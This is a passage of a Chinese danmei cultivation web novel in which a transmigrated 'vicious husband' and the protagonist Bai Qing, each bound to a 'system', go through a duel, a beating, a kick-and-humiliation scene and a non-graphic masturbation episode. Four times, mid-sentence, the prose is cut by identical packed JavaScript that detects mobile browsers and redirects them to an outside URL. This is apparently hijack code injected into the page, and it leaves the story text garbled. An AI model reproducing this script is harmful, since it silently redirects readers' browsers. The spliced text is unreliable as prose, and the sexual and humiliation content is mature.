温天霁心中不禁感慨:“这才像是龙傲天,原著里杀伐果决,一剑破万法的男主。在我面前就算装得再温顺,再像条狗,本质他还是一头狼,还是狼王。” 温天霁感慨的时候,柏清已经一剑斩断了温流儿的右臂。 温流儿见势不好,立即大喊:“我投降!” 可是柏清却置若罔闻,又挑断了他左手手腕的手筋。他挑断手筋时,断刃上淬了三昧真火,因此温流儿的左手手筋若非渡劫期的大能,否则算是没救了。 至此一来,温流儿失去右臂,左手也没用了,彻底沦为一个废人。 柏清这才收起断剑,连“承让”两个字都懒得说,自顾自下了演武台。 就在此时,温家大长老,温流儿的父亲,温成站了出来,拦住柏清:“柏清,你是否太过分了一些?” “过分?”柏清目光森冷,语气阴寒,嘴角勾起一抹讥笑,“论起过分,谁比得上你,同族人都能够下毒手,只为一己私欲。” 此言一出,温天霁明了了,柏清认定是温成害他冲击元婴失败,在替他打抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156302|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不平。 此地耳目众多,温天霁不想家丑外扬,便对柏清道:“夫君,我们不理这些人,回家吧。” 温成脸色铁青,眼中闪过一丝阴狠,显然被柏清的话戳中了痛处。 他身为温家大长老,平日里高高在上,何曾被人如此当众羞辱?更何况,柏清不过是个赘婿,竟敢如此放肆! “柏清,你莫要血口喷人!”温成厉声喝道,声音中带着几分威压,试图以气势压倒柏清。 然而,柏清却丝毫不为所动,冷冷地看着温成,语气冰冷:“血口喷人?温长老,若要人不知,除非己莫为。你做了什么,自己心里清楚。” 温成被柏清的目光盯得心中一寒,竟一时语塞。他没想到,柏清竟然如此强硬,丝毫不给他留面子。 温天霁见状,心中暗笑,但面上却不动声色。他走上前,轻轻拉了拉柏清的袖子,低声道:“夫君,此地不宜久留,我们先回去吧。” 柏清点了点头,目光依旧冰冷地扫过温成和温流儿,随后转身,准备与温天霁一同离开。 “想走,没那么容易!” 温成是一名合体期的大能,他释放出威压,顿时温天霁和柏清冷汗涔涔,挪动不了半步。 何婉茹见状,立刻请出天衍宗长老师酒乘。 师酒乘也是合体期的大能,他立即出来护住温天霁和柏清,这才使得温天霁和柏清避免五脏六腑被挤压破损。 师酒乘对温成道:“旭日大比本来就是如此,死人也是常见的事,温流儿技不如人,被斩断手臂,挑断手筋,只能愿赌服输。还请温长老不要惹是生非。” 温成没有想到师酒乘这样的大能,会停留在渝州分舵,若是动起手来,他肯定在师酒乘手中讨不了好,因此只能忍气吞声。 “师长老说得是,是吾儿技不如人。”温成隐忍道,“但是吾儿明明已经投降,但柏清还是在此之后挑断了他的手筋,是否能请师长老惩罚柏清?” 师酒乘和温满关系不错,温天霁是温满的心头肉,而柏清是温天霁的赘婿。 有这几层关系在,师酒乘只是打了个哈哈:“比试之中,柏清难免心无旁骛,听不见对手喊停也是正常的,岂能因此随意责罚他?” 说完,师酒乘最后也卖了温成一个面子:“虽然温流儿的左手手筋被三位真火挑断,估计是治不好了,但是他的右臂恐怕还能接上。老夫这就带他去找医仙慕筠涟,保准他右手恢复如初。” 温成听到这里,也明白过来,这恐怕是最好的结果了,当即感恩戴德:“多谢师长老!” “好说好说。”师酒乘笑着捡起断臂,御起葫芦将温流儿带走。 温成临走前,狠狠瞥了温天霁和柏清一眼,大有我不会放过你们的意思。 温天霁不甚在意,他都有了柏清这条日后会成为龙傲天,一统修真界的狗,还会怕小小的温成的报复? 回去的路上,温天霁忍不住问:“你是真的没有听到温流儿投降,还是想要报他断你剑的仇?” “都不是。”柏清笑着看向温天霁,柔声道,“我只是气他觊觎你的位置,想要取你而代之,若是让他成为废人,你在温家的地位就会稳固些。” 15. 第 15 章 温天霁一怔,没想到柏清这么做竟然是考虑到了自己,心中颇有些滋味莫测:“你……” 开口说了个字,又觉得多余,于是他闭嘴不言。 柏清这么做,完全是自发的,没有受到男德系统的胁迫。他笑了笑,柔声道:“我们夫妻一体,本就是你荣我荣,你衰我衰的关系。你好了,我以后也能更好地在温府立足。” 温天霁听了这话后,漂亮的杏眸变得深邃起来:“可是……我之前那样待你……你难道不记恨吗?” “记恨。” 柏清认真地吐出两个字,随后便听到男德系统发出警告:“请宿主听从男妻温天霁的一切命令,接受男妻对你的一切行为,不能有所怨恨。” 柏清立马拐了个弯:“记恨那是不可能的。” 这句是假话,但是接下来的都是真话:“自从地牢里出来后,我就觉得你变得可爱了许多,喜欢你都来不及。” 说着说着,柏清把自己说脸红了。 这算是表白吗? 温天霁听到这句话,会有什么反应呢? 柏清偷偷看温天霁,心跳得非常快,这是柏清头一次对人有心动的感觉,自然期望能够得到回应。 岂料温天霁点点头,很是赞同的样子。 他当然可爱得要命,谁喜欢他都是应当的,他才不会觉得自己被柏清喜欢是什么很奇怪的事情,因此内耗。 柏清看到温天霁这一副理所当然的表情,觉得温天霁就像自己喂养过的临清狮子猫,漂亮、矜贵、慵懒,永远把自己当成主人,颐指气使地指挥别人给自己撸毛。 柏清轻笑一声,眼中充斥着柔情:“说起来,今日还要多谢妻主赐我心法秘籍,不然我也没办法打败嗑药了的温流儿。” 说起这个,柏清就觉得他心软软。 他的男妻虽然嘴上嫌弃他,不让自己碰他,可是一遇到事,就给他加油打气,给他送已经遗传了的心法秘籍,这叫什么?这就叫口是心非,口嫌体正直啊! 《素女心经》虽然只有上册,但这也是极为难得,有价无市,只在传闻中听说过的心法秘籍。 温天霁都能将这么稀罕的东西放心交给他,这不是爱是什么? 柏清想到这里,声音满是柔情蜜意:“妻主,我知道你对我的心思。你今早已经解释过了,你没有把我当成炉鼎,那想来,把我当成炉鼎的主意是大哥出的。而你又同意我入赘,和我结为夫妻,肯定对我有几分情意在——” 就在柏清自说自话之际,恶毒男妻系统对温天霁道:“检测到柏清对宿主有癞蛤蟆想吃天鹅肉的念头,请宿主狠狠地、加倍地羞辱柏清,让他打消痴心妄想。奖励:《素女心经》下半册。” “等等。”温天霁接收到任务后,立马对柏清喊停,“你是不是误会了什么?” 柏清以为温天霁在害羞,笑道:“没有误会,妻主对我的情意,我都明白。” “你明白个屁明白!”温天霁一个头两个大。 他根本不喜欢柏清,对柏清这头随时随地发情的种马,没什么好感啊! “柏清,你也不看看你是什么身份,”温天霁为了完成任务,说着昧良心的话,“你不过是梦家收养的一个孤儿,要地位没地位,要权势没权势。而我是温家的鼎力培养的后起之秀,在整个修真界大名鼎鼎,你能配得上我?我能看得上你?” 柏清脸色虽然变化了一瞬,但很快他就自我调整好了。 他知道温天霁这么说,是为了他好。 温天霁的大哥温满对温天霁有异样的占有欲,如果温天霁对他表现得太好,他恐怕会被温满盯上,招来杀身之祸。 柏清沉吟道:“妻主,你不用说了,我都懂。” 温天霁:“……” 你都懂啥了?说来听听。让我看看你是不是懂王。 柏清很快就恢复了笑模样,道:“妻主,我知道,现在的我还太弱小,只有金丹前期的修为,无法给你足够的庇护。但是你相信我,总有一天,我会为了你,而站在修真界的顶端,谁也无法阻止我们两个人在一起。” 温天霁:“……” 孩子,你还是闭嘴吧。 温天霁觉得稍微有点绝望,因为他发现,柏清这个龙傲天男主,他听不懂人话。 “不是。”温天霁深吸一口气,掷地有声,“阻碍我们在一起的只有一点,那就是你本人,柏清,你明白吗?我们两个人就不适合。你无权无势,能力低微,除了长得帅,一无是处。而我根本不相信你所说的,你能够给我未来。你喜欢我,就是癞蛤蟆想吃天鹅头,痴心妄想。” 温天霁一口气说完,心想柏清这下总该听懂了吧。 没想到,柏清沉痛地点了点头后,说:“妻主,我都懂的,你放心,我不会让你失望的。” 温天霁彻底绝望了。 什么叫做你不会让我失望的,问题是我压根没有对你有过期望啊! 啊喂! 不要随便脑补奇奇怪怪的东西好不好?我们之间是没有未来的呀! 温天霁已经无力吐槽了,在柏清温柔眼神的注视下,回到了卧房。 没过多久,柳琛忱和温满也一起过来了。 还好温天霁的卧房足够大,有一两百平,要是小一点,站着四五个人,那还不够挤啊? 柏清看到柳琛忱来了,嫉妒的酸水就止不住地冒出来:“今天也要施针吗?” “是的。”柳琛忱斯文地点点头,“不过今日和前两日不同,今日可以不用泡药浴,因此也用不着脱光,直接在身上扎针就行了。” 温满一听,眉头皱了起来,质问柳琛忱:“所以前两日扎针,你与霁儿坦诚相对?” 柳琛忱白皙的面庞瞬间变得通红:“是的。” 他这样,颇有种偷偷摸摸和对象“干坏事”,事后被家长抓包的羞赧。 柏清看到他这样子,就开始生闷气。 温满更是想要发怒,但是一想到温天霁后续的照料还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156303|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得柳琛忱来,便只能忍气吞声:“麻烦柳大公子了。” “不麻烦。”柳琛忱笑得像缓缓流水一样温和,“能够为温二公子诊治,是我的荣幸。” 房间内除了温天霁、柏清、柳琛忱和温满外,角落里还站了个被人忽略的梦辙言。 梦辙言虽然之前被柏清三言两语气跑了,但他还是咽不下这口气,想要暗中抓住温天霁的把柄,让柏清清醒过来,放弃温天霁这个蛇蝎心肠的恶毒美人。 梦辙言再怎么说,不是一个笨人,看到柳琛忱和柏清的表情,就知道这两人都陷进去了,对温天霁有了感情。 梦辙言想不通,为什么所有和温天霁接触过的人,都开始喜欢上了温天霁呢? 温天霁躺在床上,对柳琛忱笑道:“那就麻烦柳大公子为我施针了。” “好。”柳琛忱拿着银针上前。 梦辙言眼见柳琛忱将温天霁的衣袖挽起,露出一截皓腕与藕臂。那藕臂通体暖白,似那高山上的晶莹积雪,在阳光照耀下发出熠熠光辉。 看到这里,梦辙言不得不承认,温天霁的姿容肌肤都是他所见过最顶级的,无人能及。 梦辙言身为梦家家主的嫡长子,游历过的地方多了去了,见过的美人也数不胜数,风情各异;但是像温天霁这般倾国倾城,一举一动都牵动人心神的,还真没见过。 柳琛忱在温天霁手腕与手臂上扎好针后,脸上酡红,低声道:“冒犯了。” 而后,他便开始解温天霁的外袍,将其亵衣拉至胸膛,露出温天霁漂亮的腹肌来。 梦辙言看着那薄薄的腹肌,只觉得这样的腹肌才称得上漂亮二字,不会过于夸张,也不会浅淡到看不出来。事实上,温天霁的腹肌虽然薄薄的,却很明显。 柳琛忱便在那漂亮的腹肌上施针。 本来这一切都很正常,但是柳琛忱痴迷的眼神,泛红的双颊,让这场景免得情色、香艳起来。 “唔……” 许是扎到了痛处,温天霁轻哼出声,这一声闷哼像钩子般,勾动在场所有人的心弦。 接下来,柳琛忱将温天霁的裤管撩起,露出笔直、光润、修长的双腿来。 至此,梦辙言终于忍受不住,转头从屋子中冲了出去——他【】了。 梦辙言一口气跑到自己住的偏院里,扶着粗壮而粗粝的树干,不停地喘息,企图将冷气吸入肺中而让自己冷静下来。 可是,他越想要冷静,就越适得其反,脑海中一遍遍回想起温天霁那裸||露在外的雪肤。甚至于,他开始幻想,抚摸那雪肤的人不是柳琛忱,而是自己该有多好。 他还没有冷静下来,就被人转过身来,一把掐住脖颈,压在树干上。 温满眼中满是凶戾:“下贱的东西,就你这种霁儿的手下败将,竟然也敢肖想霁儿,对着他起反应。我看你是活得不耐烦了!” 梦辙言不能接受自己对着温天霁起反应这件事,当即艰难反驳道:“我、我……没……有……” 16. 第 16 章 柳琛忱刚替温天霁拔完针的时候,温满从屋外走进来。 温天霁立即皱起眉头,因为他闻到了一股淡淡的血腥味,这让他觉得不是很舒服。 他再朝角落里望去,果不其然,梦辙言已经不见了。 “大哥,”温天霁整理衣服,语气有些不开心,但说话的声音很娇俏,便显得像是在撒娇,“我的人,若是做错了什么事,我自会处理,不劳烦大哥动手。” 温满冷哼一声,心想那个梦辙言真是不知好歹,但又不想让温天霁知道梦辙言对他起了欲念,于是道:“梦辙言打碎了一个我珍藏的法器,所以我小惩大诫。霁儿放心,我留得他一条命在。” 这么说,很明显就是一句托辞。 既然是珍藏的法器,梦辙言又怎能接触得到,而且一切事情就发生在一炷香的时间内,显然不可能。 “哥~”温天霁坐在床上,瞥了温满一眼,语气甚是不满。 “这件事,霁儿你不用管了。梦辙言反正不是什么重要角色,就算是死了也没什么要紧,更何况我还留得他一条命在。”温满无所谓道。 温天霁叹了一口气,扶额苦笑,如果可以,他甚至还想点根烟。 他大哥不知道,他可是知道的。 梦辙言几百年后,可是有渡劫期的修为,是修真界第二人。当然,修真界第一人是久而思归这个垃圾作者写的《龙傲天下》的男主角柏清。 梦辙言能稳坐柏清后宫正宫之位,不仅仅是因为和柏清青兰竹马,两小无猜,更是因为他实力强劲,除了柏清外,无人可敌。 当然,比柏清好一点的是,梦辙言仙风道骨,性格超凡脱俗,不是个睚眦必报的性格,在原著中不会对旧时的敌人寻仇报复。 但这也不是可以打得梦辙言大出血的理由啊! 温满性子暴戾,一出手就是非死即伤,想必梦辙言现在情状一定很差。 “大哥,”温天霁现在看温满,就像在看一个不懂事的熊孩子,“梦辙言现在在哪里?” 温满皱起眉头:“在偏院。怎么了,霁儿,以你的性子,不说再添上两鞭子,也不应该关心梦辙言这微不足道的蝼蚁。” 原主的性子,那可是称得上作奸犯科、无恶不作、为非作歹…… 和温满那叫一个沆瀣一气、一丘之貉、蛇鼠一窝…… 温天霁虽然也骄纵任性,但到底比不上原主那么恶毒,不然也不会在穿越之初,对满身是血的柏清看不下去,给对方送黑玉断续膏了。 所以明知道温满下手会很重的情况下,温天霁做不到不闻不问。 “大哥,我只是不满你随意教训我的狗。”温天霁从床上起身,准备前往偏院,“以后我的人,我的狗,我的东西,大哥都不要不经过我的允许,随意动。” 温满闻言,既有些惆怅,又有些满意。 惆怅的是,他的霁儿已经不像以往那样依赖他,以他为尊;满意的是,温天霁长大了,有了自己的主意。 温满点了点头:“好。” 温天霁边走边对柳琛忱道:“正好柳大公子也在这里,你跟我去偏殿一趟,看一看梦辙言伤得如何,顺便给他诊治一下。” 温天霁说这话的时候,自然而然地使唤着柳琛忱。 但他的语气太过自然,便没有了那种颐指气使的态度,不会让人觉得不适,反倒觉得他有种发号施令的领导气质,让人不自觉地想要臣服听令。 柳琛忱本就对温天霁改变了态度,现在对温天霁颇有些暧昧的好感,因此温天霁只要不是提出太过分的要求,他都会应允,更遑论是治病救人。 “好。”柳琛忱当即答应,跟在温天霁身后。 不多时,他们便赶到了偏院。 在还没有进入偏院时,温天霁就闻到了浓厚的血腥味。 温天霁翻了个白眼,没忍住问温满:“大哥,你下手到底有多重?” 这个问题不待温满回答,温天霁在迈过高高的大红门槛,进入偏院时,便得知了——院落中那棵三十多丈高的梧桐树枝干上,密布鲜血。 温天霁瞳孔收缩。 他就知道温满下手不会轻! 温天霁循着血腥味,走到了柏清那间屋子隔壁的房间,推门而入。 房间坐南朝北,加之如今是冬日,甫一打开门,便一股钻心刺骨的冷气袭人而来。 温天霁身子受损,本就畏寒,如今更是冷得一哆嗦。 柏清虽焦急梦辙言的情况,但他也知道,以他如今在温家的地位,梦辙言是死是活,他还说不上话。 因此,他没有火急火燎地表现出自己的焦急,反而在注意到温天霁打寒战的时候,脱下外袍,披在温天霁身上。 温天霁也没有客气,拢了拢外袍,就朝着血人一般的梦辙言走去。 梦辙言浑身是伤,身上的衣服褴褛破烂,除了那张脸和一双脚,几乎没有好的地方。 温天霁倒吸一口凉气,连忙对柳琛忱道:“你快给他瞧瞧。” “好。”柳琛忱即刻上前,坐在床边,替梦辙言把脉。 没过多久,柳琛忱笑着道:“只是看起来严重,实际上都是皮外伤,没有一处伤及内脏,说是轻伤也不为过。” 温天霁这才松了一口气,从储物袋中拿出一瓶伤药,递给柳琛忱:“你给他敷药吧,敷完药,我有话要问他。” “好。”柳琛忱接过伤药,一闻,神情惊诧,“黑玉断续膏!” 温天霁点点头,是黑玉断续膏不错。 话说这玩意,在绑定了恶毒男妻系统后,系统每天送一瓶,根本不值钱。 但是柳琛忱不知情,看向温天霁的眼神变得崇敬起来:“黑玉断续膏有价无市,能活死人,肉白骨。这样珍贵的伤药,你竟舍得给他人用,真是菩萨心肠。” 温天霁:“……” 他能说这玩意儿,系统不要钱一样每天白送吗? “嗯。”最后,温天霁只是装逼道,“小事,无足挂齿。” 柏清在听到梦辙言是皮外后,悬着的心就落地了。 此刻,他本以为只有自己有的黑玉断续膏,如今梦辙言也有了,心中颇有些不是滋味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156304|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他很想问一句:“还是单送我一人的,还是别的弟弟们都有呢?” 但是答案很显然:“各位都有了。” 难道他在温天霁心里,和梦辙言的地位一样重吗? 不,绝不可能。 他的妻主可不会让梦辙言给他洗脚、暖床,所以他的地位很稳固,不是别人能够攀比的。 想到这里,柏清把自己哄好了,露出了欣慰的笑意。 温天霁恰巧在这时扫了一眼柏清,看到柏清露出微笑,还以为柏清因为梦辙言没有事而感到高兴。 温天霁对此到没有什么想法,只是想起恶毒男妻系统派给他的任务还没有完成,因此在此刻寻到了由头,便发作起来。 “好你个柏清!我就知道你对我不是一心一意,听到青兰竹马梦辙言没有事,笑得这么高兴!你还真是条贱狗!” 温天霁说着,踹了柏清一脚,直接将柏清踹得跪倒在地。 柏清见温天霁发作,心中是有怒火的,自己也想发作,就听得男德系统道:“请宿主关爱男妻温天霁,切勿用言语或行为伤害男妻。” 柏清还是咽不下这口气,刚想要解释自己笑,和梦辙言没有关系,对温天霁是一心一意的,就听得男德系统继续说: “男妻发作,是因为他在意你,如果他不在意你,他还会发作吗?” 柏清怔忡,随后思忖道:“不错。妻主正是因为喜欢我,在意我,所以才会因为梦辙言而吃醋,若是他不在意我,又怎么会吃醋呢?” 这样一想,柏清便心中好受多了,也没有一丝一毫的怒气和不甘,服服帖帖地跪倒在地上:“妻主,是我不好,但我没有三心二意,我对你那是一心一意。” 温天霁已经习惯了柏清对自己这舔狗般的态度,想到任务还没有完成,又给了柏清一脚,力度不大,却正好将柏清踹倒在地。 温天霁将脚尖踩在柏清的肩膀上,懒洋洋道:“男人的嘴,骗人的鬼,你以为我会信你吗?” 就这样,任务还是没有完成。 没有办法,温天霁将脚尖从肩膀划到柏清的脸上,轻轻的碾着:“你这条贱狗,有我这样的主人,还敢朝秦暮楚,我惩罚你,有没有错?” 柏清只觉得脸上传来轻微的痛感,伴随痛感而来的,是强烈的快感。 他感觉自己被温天霁征服了,彻底臣服在温天霁的脚下,只想顶礼膜拜自己心中的神女,再生不出二心。 “妻主教训得是。”柏清声音低沉而沙哑,包含情欲。 柏清回答完后,恶毒男妻系统的机械音响起:“恭喜宿主完成狠狠地、加倍地羞辱柏清的任务,奖励《素女心经》下半册。” 温天霁心中欢喜,收回脚,对柏清道:“没有下次。” 动作间,柏清闻到温天霁身上那股淡淡的美人梅的香气,喉结一滚,道:“是。” 温天霁懒得再去管柏清,看向床上装死的梦辙言:“梦辙言,说吧,你到底做错了什么事,才惹得我大哥发这么大的火?” 梦辙言缓缓睁开双眼,但却眼神闪躲,不敢直视温天霁。 17. 第 17 章 温天霁一看梦辙言这副表情,就知道对方心虚了,因此疾言厉色:“说!你到底怎么了?” 梦辙言对着温天霁硬了这件事,他自己尚且难以接受,又怎么会对着这么多人说出来呢? 他倔强道:“没有什么特殊的事,不过是我自己的问题,得罪了温家主,才会被他教训,是我应得的,怪不了任何人。” 这段话梦辙言说得真心实意。 因为自己对着温天霁起了反应,而被温满这个大哥教训,他觉得是应该的,并不是温满故意找茬。 温天霁见他这样,也知道应当是梦辙言的问题,应当问不出什么更多的话来,于是道:“都散了吧。我刚施完针,乏得很,回屋睡一会儿。” “那在下告辞。”柳琛忱拱手告别,目光在温天霁身上流连,最后恋恋不舍地离开。 他这样的贪恋,被温满尽收眼底。 但考虑到温天霁之后的病还需要柳琛忱来调理,温满心里有再多的想法,也只得作罢,徒然咬碎一口银牙。 温天霁走在前面,对柏清招招手:“走,给我暖床去。” 柏清早已已经从地上爬了起来,这时,摸着自己的脸颊,从回味中抽身,欢喜道:“好!” 温满冷哼一声,他知道柏清已经服下了绝世清心丸,因此也任由柏清给温天霁暖床去了。 温满是温家家主,也不可能随时随地都守着温天霁,见温天霁走了,他也转身离去。 现在已经是傍晚黄昏,偏院洒落了一地梧桐叶,也没有人来清扫。 星星点点的黄色余晖洒落在梧桐叶上,看起来颇有些温馨。 温天霁踩在叶片上,从石拱门里离开。 偏院气温低得厉害,他刚走出偏院,就觉得身上回暖了。他脱下身上披着的柏清的外袍,嫌弃地扔了回去。 柏清接过自己的外袍,低头闻了一下,上面已经沾满了温天霁的味道,美人梅的香气,沁人心脾。 柏清小心翼翼地用咒语将这外袍与香气封锁起来,而后收入储物戒指中。 回到卧房,温天霁伸开双臂,柏清自觉地替他脱去外衣。 温天霁穿着里衣,睡在了被窝里,而柏清则替他暖被窝。 “柏清,记住了,”温天霁开口,声音娇蛮,“没有我的允许,你不准碰我!” 柏清点点头,牢记:“好。” 温天霁正好累得很,很快就睡着了。 柏清躺尸一般,一动不敢动。 没一会儿,温天霁就因为柏清身上源源不断地散发热气,被吸引了过来,将柏清当作抱枕,像个树袋熊一样,挂在柏清身上,还毫无自觉地蹭了蹭。 柏清没忍住,握住了温天霁的手,随后想起了温天霁的吩咐,又眷恋地松开。 这一觉,直接睡到第二天寅时。 温天霁血气方刚的年纪,晨勃对他而言也很是正常。 一整晚没睡的柏清自然是发现了温天霁身上的变化,想到温天霁说不允许自己碰他,柏清就算再想碰,也只能忍着。 温天霁揉了揉惺忪的睡眼,下半身的反应让他觉得有点难受。 他刚想要像以往那样,自己动手,就发觉自己身边还躺了另一个人,这吓得他立马睁大了杏眸。 “柏清……”温天霁的声音带着点刚睡醒的沙哑和慵懒,“真是晦气……” 想要自己鹿关都不行。 哎?也不是不行。 把柏清赶出去不就行了吗? “柏清。”温天霁踹了柏清一脚,“你给我滚出去,在房门口守着,不准任何人进来。” 柏清一听,立马明白过来,温天霁这是准备紫薇了。 他喉结一滚,哑声道:“妻主,若是你有需求,我随时可以为你服务,我的身体为你而存在,下面可以变成你所需要的形状——” “滚啊!”温天霁听着,觉得自己耳朵脏了。 请赐他一双没有听过柏清污言秽语的干净的耳朵。 柏清还想再说什么,温天霁就冷冷道:“你又想被我踹下床了是吧?这么喜欢被我羞辱?” “……” 柏清心道,那不是羞辱,那是奖励。 虽然心里这么想着,但表面上柏清还是顺从地起身,穿好了衣物,走到门外,将门关上,候在门口,以防别人进来打搅温天霁紫薇。 果不其然,没过多久,屋内就传来细细密密的喘息声。声音娇媚、暗哑、魅惑、勾人,让人想要随着这声音,让自己的身体也不由自主地暴动起来。 柏清不止一次庆幸,自己服下了绝世清心丸。 如果没有服下这药物,应该就和梦辙言一样,早就举旗致敬,而被温满教训得血肉模糊了吧。 没错,柏清早就知道梦辙言是因为对温天霁起了欲望,才会被温满惩罚。 所有这时候,他更加明白了温天霁的劳苦用心。 妻主让他服下绝世清心丸,就是为了让大哥温满放心,他绝对不会对温天霁起欲念。 这样一来,温满就不会再像以前那样,动不动就找他的茬,用弑神鞭鞭笞他了。 妻主对他,还是用了心的。 柏清想到这里,对温天霁的喜爱又多了几分。 他听着屋内传来的娇喘,自己的身体也随之变得滚烫,血液流动得更加快速,心脏也悸动起来。 柏清这时候不由得感到遗憾,自己比温天霁低了一个小境界,若是能高出温天霁一个大境界,他就能用神识窥探温天霁此刻的情状,而不被发觉了。 虽然不能用神识窥探温天霁的情形,但听着越来越急促的喘息声,柏清也能料想到温天霁是渐入佳境了。 话说,他还没有见过温天霁的那物件,不知道是不是也像温天霁的人一样漂亮。 柏清咽了一下口水,想要压抑自己的欲望,但是想象力却越来越丰富。 这时候,温天霁应该是浑身泛红的,暖白色的肌肤呈现嫩粉的颜色。 对方难耐地蹭着锦被,想要让人好好去疼爱对方,可是却没有人来做到这一点,于是温天霁只能寄希望于锦被。 然而锦被是那样丝滑,丝毫不像常年练剑的男人的双手——上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156305|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长满了厚实的老茧,粗粝,抚摸肌肤时应该会让人不停地有电流涌过的刺激感。 于是,温天霁的希望落空了,他开始一只手【】自己的【】,一只手开始从脖颈向下滑落,只为模仿自己被人抚摸疼爱的情景。 柏清满脑子都是这样的画面,不能止息。 【审核,看清楚,都在脖子以上,不能锁我吧?】 时间不知道过了多久,终于,柏清的幻想,在温天霁一声难耐的急喘中停止。 “进来。”温天霁声音沙哑,带着些事后的懒散。 柏清闻言,迫不及待地推开门,刚一进门,就闻到满室的石楠花香。 作为一个成熟男人,柏清自然知道这代表着什么。 温天霁将自己的亵裤从被子里扔了出来:“处理掉。” “是。”柏清如获至宝,将亵裤牢牢握在手中,“我这就拿出去扔掉,免得污了妻主的眼。” 说完,柏清拿着沾了茎叶的裤子出门。 走到门外,他将门关上,而后用咒语将亵裤封印起来,收到了自己的储物戒指中。 柏清心潮澎湃,他知道自己在温天霁心中,恐怕是除了温满之外,排第二位置的人。 因为温天霁竟然愿意将发泄过后的亵裤交给他处理。 温天霁这时,打了个哈欠,还想睡个回笼觉,又觉得从昨天傍晚睡到今天早上寅时已经足够多,便从柜子里取出干净的衣物换上。 他天生体香,这点随了温母,刚出生起,身上就散发着美人梅的香气。 所以他不是喷了香水,也不是衣物浣洗时用了香料,才会身上沾染香气。而是他自己散发出香气,因此身上的衣物才会有了美人梅的香气。 温天霁坐在梳妆镜前,对着镜子开始发呆。 他根本不会梳妆啊,该死! “柏清!”温天霁喊道。 柏清很快出现在他身后,替他篦发,而后精致的发型很快便梳理好。 这样还不算完,柏清简直将他当作一个精致的芭比娃娃,替他描画,甚至最后还在眉心处贴了花钿。 温天霁任由柏清摆弄,直到柏清一声“好了”,他才看向镜面。 镜子里的人美到不可思议,恍若巫山神女降临世间,来人间布泽施恩,充满了神性。 这样的装扮,一看便知,装扮他的人花了心思,是带着爱意来装扮的。 “柏清……”温天霁轻声道。 “是,”柏清应道,“我在。妻主有什么吩咐吗?” 温天霁给了柏清一个眼神,示意他跪在自己脚下。 柏清毫不犹豫地跪倒在地,仰头看向坐在黄花梨上的温天霁。 温天霁这名神女,朝他最忠实的信徒——柏清——伸出了右手,轻轻抚摸着柏清的额头。 “你做得很好,如果你以后一直对我这样忠诚,成为我最锋利的刀,最听话的狗,我一定会满足你的愿望,不会让你失望。” 柏清咽了咽口水,露出一个痴迷的微笑,心想:“神啊,如果你知道,我的心愿是渎神,你还会满足我吗?” 18. 第 18 章 “惹……”温天霁不忍直视柏清的表情,太痴汉了,有点恶熏熏,“起来,走了,去渝州分舵。” “是。”柏清收起痴笑,恢复成俊朗平静的面容,像保镖一样跟在温天霁身后。 接下来几天的比试,温天霁都不出三招就获胜了,乏善可陈。 就连柳琛忱也赞叹温天霁的实力,只在温天霁的胳膊和手腕上扎针。 这一天,扎完针,温天霁累得连手指都抬不起来:“柳大公子,我怎么这么疲倦,动动手指都觉得不能够?” “这是正常的,”柳琛忱叹了一口气,解释道,“你已经透支了太多,眼下为了保证十五日那天的秘境大比,你能够有充足的实力,这几日便会病弱些。” 温天霁:“……” 他无语了,他很想吐槽。 动都动不了,这才叫病弱些吗?这是残疾的程度吧啊喂! 温天霁内心的弹幕疯狂刷屏,面上却不显,只是虚弱地笑了一下:“多谢柳大公子。这几日麻烦柳大公子了。不知柳公子有什么想要的吗?若是在我能力所及的范围内,我定当竭力奉上。” 柳琛忱听到这话,不知想到哪里去了,素来温文尔雅,纯洁天真的他,竟然露出了一抹尴尬,随后便脸红起来了,眼神闪躲。 温天霁看着柳琛忱这模样,内心愈发好奇起来:“柳公子,你想要的究竟是什么,竟让你如此难以启齿?” “我……”柳琛忱犹豫许久,问,“我真的可以期盼吗?” 